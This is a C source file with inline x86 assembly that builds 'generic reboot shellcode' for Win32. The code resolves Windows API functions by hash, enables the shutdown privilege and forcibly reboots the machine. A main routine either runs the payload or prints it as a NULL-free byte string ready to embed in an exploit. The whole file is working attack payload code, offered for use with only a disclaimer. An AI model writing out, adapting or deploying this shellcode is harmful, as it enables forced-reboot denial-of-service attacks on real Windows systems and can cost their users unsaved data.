/*
 * Generic reboot shellcode for win32
 *
 * Targets:
 *
 *    95/98/ME/NT/2K/XP
 *
 * Usage:
 *
 *    $ reboot.exe
 *    Usage: reboot.exe [test | cstyle]
 *    
 *    To generate usable code:
 *
 *    $ reboot.exe cstyle
 *
 *    To test the code:
 *
 *    $ reboot.exe test
 *
 *    Your machine should reboot.
 * 
 * Features/Quirks:
 *
 *    * No NULLs.
 *    * This cannot be tested from the Windows 95/98/ME command line.
 *      For more information, read the ExitWindowsEx documentation
 *      in the Platform SDK.
 *
 * References:
 *
 *    * PEB lookup based largely on Dino Dai Zovi's peb resolver.
 *
 * Disclaimer:
 *
 *    The author cannot be held responsible for how this code is used.
 *
 * Compile:
 *
 *    cl reboot.c /link /debug
 *
 * skape
 * mmiller@hick.org
 */
/*
 * Technical notes
 *
 * Hash calculations:
 *
 *  kernel32
 *
 *    LoadLibraryA          -> ec0e4e8e
 *    GetCurrentProcess     -> 7b8f17e6
 *    ExitProcess           -> 73e2d87e
 *
 *  user32
 *
 *    ExitWindowsEx         -> 89dabef5
 *
 *  advapi32
 *
 *    OpenProcessToken      -> 591ea70f
 *    LookupPrivilegeValue  -> 97e8c2a2
 *    AdjustTokenPrivileges -> 24488a0f
 *
 * ebp+0x10 -> LoadLibraryA
 * ebp+0x14 -> GetCurrentProcess
 * ebp+0x18 -> ExitWindowsEx
 * ebp+0x1c -> ExitProcess
 *
 * ebp+0x20 -> OpenProcessToken
 * ebp+0x24 -> LookupPrivilegeValue
 * ebp+0x28 -> AdjustTokenPrivileges
 *
 * ebp+0x30 -> token handle
 */
#include <stdio.h>

#pragma warning(disable: 4068)

void __declspec(naked) reboot_begin()
{
	__asm
	{
		entry:
			jmp   startup

#include "generic.c"
		
		startup:
			sub   esp, 0x60                 // Give us some room to work.
			mov   ebp, esp                  // Use ebp as our frame pointer.

			call  find_kernel32             // Find the base address of kernel32.dll
			mov   edi, eax                  // Save it in edi

		shorten_find_function:
			jmp   shorten_find_function_bnc // Jump to the bounce point
		shorten_find_function_rel:
			pop   eax                       // Pop the return address
			sub   eax, 0x6a                 // offset from shorten_find_function_end to find_function
		shorten_find_function_fixed:
			mov   [ebp + 0x04], eax         // Save the absolute address in ebp+0x04
			jmp   shorten_find_function_end // Jump to the end	
		shorten_find_function_bnc:
			call  shorten_find_function_rel // Call back to relative to get our VMA
		shorten_find_function_end:
			mov   esi, [ebp + 0x04]         // Shortcut find_function in esi

		resolve_symbols_kernel32:          // edi -> kernel32.dll base 
			// LoadLibraryA
			push  0xec0e4e8e            
			push  edi
			call  esi
			mov   [ebp + 0x10], eax
			
			// GetCurrentProcess
			push  0x7b8f17e6
			push  edi
			call  esi
			mov   [ebp + 0x14], eax
		
			// ExitProcess
			push  0x73e2d87e
			push  edi
			call  esi
			mov   [ebp + 0x1c], eax

		resolve_symbols_user32:            // edi -> user32.dll base
			xor   eax, eax
			mov   ax, 0x3233
			push  eax
			push  0x72657375
			push  esp                       // Pointer to 'user32'
			call  [ebp + 0x10]              // Call LoadLibraryA
			mov   edi, eax
			
			// ExitWindowsEx
			push  0x89dabef5
			push  edi
			call  esi
			mov   [ebp + 0x18], eax

		resolve_symbols_advapi32:          // edi -> advapi32.dll base
			xor   eax, eax
			push  eax
			push  0x32336970
			push  0x61766461
			push  esp                       // Pointer to 'advapi32'
			call  [ebp + 0x10]              // Call LoadLibraryA
			mov   edi, eax
			
			// OpenProcessToken
			push  0x591ea70f
			push  edi
			call  esi
			mov   [ebp + 0x20], eax
			
			// LookupPrivilegeValueA
			push  0x97e8c2a2
			push  edi
			call  esi
			mov   [ebp + 0x24], eax
			
			// AdjustTokenPrivileges
			push  0x24488a0f
			push  edi
			call  esi
			mov   [ebp + 0x28], eax

		open_process_token:
			call  [ebp + 0x14]              // Call GetCurrentProcess
			lea   ebx, [ebp + 0x30]         // Get the place to store our token
			push  ebx                       // Pointer to token handle
			xor   ecx, ecx                  // Zero ecx
			mov   cl, 0x28	
			push  ecx                       // TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY
			push  eax                       // Current process handle
			call  [ebp + 0x20]              // Open our token

		lookup_privilege_value:
			mov   eax, 0x41656765
			and   eax, 0x92ffffff
			push  eax
			push  0x6c697669
			push  0x72506e77
			push  0x6f647475
			push  0x68536553
			mov   ecx, esp                  // Store the address of 'SeShutdownPrivilege'
			sub   esp, 0x14                 // Allocate space for our TOKEN_PRIVILEGES struct
			mov   esi, esp                  // Save the address of our token privileges struct
			lea   ebx, [esi + 0x08]         // Load the address of our tp.Privileges[0].Luid
			push  ebx                       // Luid pointer
			push  ecx                       // 'SeShutdownPrivilege' pointer
			xor   ecx, ecx                  // Zero ecx
			push  ecx                       // NULL
			call  [ebp + 0x24]              // Call LookupPrivilegeValueA

		adjust_token_privilege:
			xor   ecx, ecx                  // Zero ecx
			inc   ecx                       // Inc
			mov   [esi + 0x04], ecx         // Set tp.PrivilegeCount to 1
			inc   ecx                       // Inc
			mov   [esi + 0x10], ecx         // Set tp.Privileges[0].Attributes to SE_PRIVILEGE_ENABLED
			xor   ecx, ecx                  // Zero ecx
			push  ecx                       // Return length
			push  ecx                       // Previous state
			push  ecx                       // Buffer length
			lea   ebx, [esi + 0x04]         // Grab the address of our tp struct
			push  ebx                       // Our TOKEN_PRIVILEGES struct
			push  ecx                       // Disable all
			push  [ebp + 0x30]              // Our process token
			call  [ebp + 0x28]              // Call AdjustTokenPrivileges

		reboot:
			xor   ecx, ecx                  // Zero ecx
			push  ecx                       // Reason
			mov   cl, 0x06                  // EWX_REBOOT | EWX_FORCE
			push  ecx                       // Flags
			call  [ebp + 0x18]              // Call ExitWindowsEx

		exit:
			push  ecx                       // Reason
			call  [ebp + 0x1c]              // Call ExitProcess
			
	}
}

void __declspec(naked) reboot_end()
{
	__asm ret
}

int main(int argc, char **argv)
{
	if (argc == 1)
	{
		fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]);
		return 0;
	}

	if (!strcmp(argv[1], "test"))
		reboot_begin();
	else if (!strcmp(argv[1], "cstyle"))
	{
		unsigned char *start = (unsigned char *)((unsigned char *)reboot_begin);
		unsigned char *stop  = (unsigned char *)((unsigned char *)reboot_end);
		unsigned char *c     = NULL;
		unsigned long x      = 0, length;

		// Calculate the actual address in memory of the begin/end function based off their relative jmp points.
		start  += *(unsigned long *)((unsigned char *)reboot_begin + 1) + 5;
		stop   += *(unsigned long *)((unsigned char *)reboot_end + 1) + 5;
		length  = stop - start;

		fprintf(stdout, "// %lu byte reboot shellcode\n\n", length);
		fprintf(stdout, "unsigned char reboot[] = \"");

		for (c = start;
				x < length;
				x++)
			fprintf(stdout, "\\x%2.2x", c[x]);

		fprintf(stdout, "\";\n\n");
	}
	else
		fprintf(stdout, "%s: invalid option\n", argv[0]);

	return 1;
}
